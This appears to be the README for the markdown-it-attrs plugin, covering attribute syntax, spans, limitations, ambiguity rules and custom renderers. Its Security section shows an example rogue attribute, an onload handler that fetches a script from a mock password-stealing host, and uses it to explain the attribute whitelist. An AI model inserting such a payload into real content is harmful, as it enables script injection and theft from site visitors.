markdown-it-attrs
Basic Attributes
Example input:
1 | # header {.italic} |
Output should be:
1 | <h1 class="italic">header</h1> |
Output actual:
header
paragraph
header
some text
Works with inline elements too:
1 | paragraph *style me*{.red} more text |
Output:
1 | <p>paragraph <em class="red">style me</em> more text</p> |
And fenced code blocks:
```python {data=asdf}
nums = [x for x in range(10)]
```
Output should be:
1 | <pre><code data="asdf" class="language-python"> |
Output actual:
1 | nums = [x for x in range(10)] |
You can use ..
as a short-hand for css-module=
:
1 | Use the css-module green on this paragraph. {..green} |
Output should be:
1 | <p css-module="green">Use the css-module green on this paragraph.</p> |
Output actual (inspect):
Use the css-module green on this paragraph.
Use the css-module red on this paragraph.
bracketed spans
Also works with spans, in combination with the markdown-it-bracketed-spans plugin (to be installed and loaded as such then):
1 | paragraph with [a style me span]{.red} |
Output should be:
1 | <p>paragraph with <span class="red">a style me span</span></p> |
Output actual:
paragraph with a style me span
Security
A user may insert rogue attributes like this:
1 | ![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)} |
If security is a concern, use an attribute whitelist:
1 | md.use(markdownItAttrs, { |
Now only id
, class
and attributes beginning with regex
are allowed:
1 | text {#red .green regex=allowed onclick=alert('hello')} |
Output:
1 | <p id="red" class="green" regex="allowed">text</p> |
Limitations
markdown-it-attrs relies on markdown parsing in markdown-it, which means some
special cases are not possible to fix. Like using _
outside and inside
attributes:
1 | _i want [all of this](/link){target="_blank"} to be italics_ |
Above example will render to:
1 | <p>_i want <a href="/link">all of this</a>{target="<em>blank"} to be italics</em></p> |
…which is probably not what you wanted. Of course, you could use *
for
italics to solve this parsing issue:
1 | *i want [all of this](/link){target="_blank"} to be italics* |
Output:
1 | <p><em>i want <a href="/link" target="_blank">all of this</a> to be italics</em></p> |
Ambiguity
When class can be applied to both inline or block element, inline element will take precedence:
1 | - list item **bold**{.red} |
Output:
1 | <ul> |
If you need the class to apply to the list item instead, use a space:
1 | - list item **bold** {.red} |
Output:
1 | <ul> |
If you need the class to apply to the <ul>
element, use a new line:
1 | - list item **bold** |
Output:
1 | <ul class="red"> |
If you have nested lists, curlys after new lines will apply to the nearest <ul>
or <ol>
. You may force it to apply to the outer <ul>
by adding curly below on a paragraph by its own:
1 | - item |
Output:
1 | <ul class="c"> |
This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.
Similar for tables, attributes must be two new lines below:
1 | header1 | header2 |
Output:
1 | <table class="special"> |
If you need finer control, decorate might help you.
Custom rendering
If you would like some other output, you can override renderers:
1 | const md = require('markdown-it')(); |
Output:
1 | <pre class="abcd"><code>var a = 1; |
Read more about custom rendering at markdown-it.
Custom blocks
markdown-it-attrs
will add attributes to any token.block == true
with {}-curlies in end of token.info
. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info
.
Remember to render attributes if you use a custom renderer.
Custom delimiters
To use different delimiters than the default, add configuration for leftDelimiter
and rightDelimiter
:
1 | md.use(attrs, { |
Which will render
1 | # title [.large] |
as
1 | <h1 class="large">title</h1> |